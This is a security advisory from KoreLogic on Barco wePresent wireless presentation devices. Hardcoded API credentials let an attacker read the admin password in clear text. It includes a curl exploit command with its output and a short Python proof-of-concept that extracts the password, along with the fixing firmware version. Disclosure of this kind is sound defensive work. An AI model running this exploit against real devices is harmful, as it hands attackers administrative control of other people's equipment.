Barco wePresent Admin Credentials Exposed In Plain-text

Vulnerability Description

An attacker armed with hardcoded API credentials from KL-001-2020-004 (CVE-2020-28329) can issue an authenticated query to display the admin password for the main web user interface listening on port 443/tcp.

Technical Description

An authenticated request using the hardcoded credentials in KL-001-2020-004 (CVE-2020-28329) to https://<IP>:4001/w1.0 will display the current admin password in clear text. An attacker will now have the admin password on the device, and can use the web interface to make any configuration changes to the device using the web UI.

$ curl -k -u 'admin:[REDACTED]'
https://192.168.2.200:4001/w1.0 { "status": 200, "message":
"Get successful", "data": { "key": "/w1.0", "value": {
            "ClientAccess":{
                "EnableAirplay": true
            }, "Configuration":{
                "RestartSystem": false, "ShutdownSystem": false,
                "SetAction": "NoAction", "SetActionUrl": ""
            }, "DeviceInfo":{
		     "ArticleNumber": "Barco_Number",
		     "CurrentUptime": 58524, "InUse": false,
		     "ModelName": "WiPG-1600", "Sharing": false,
		     "Status": 0, "StatusMessage": "", "TotalUptime":
		     473871262, "TotalUsers": 0, "LoginCodeOption":
		     "Random", "LoginCode": "3746", "SystemPassword":
		     "W3Pr3s3nt",	      <- Admin password
...  ...

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.barco.com/en/support/software/R33050104

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.

Proof of Concept

The following is a basic Python function to return the admin password:

def get_admin_pw(host, port, adminpw):
    apiuser = "admin"
    apipw = "[REDACTED]"
    url = "https://" + host + ":" + port + "/w1.0"
    response = requests.get(url, auth=HTTPBasicAuth(apiuser, apipw), verify=False, timeout=3)
    dict = response.json()
    adminpw = dict['data']['value']['DeviceInfo']['SystemPassword']
    return adminpw

The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt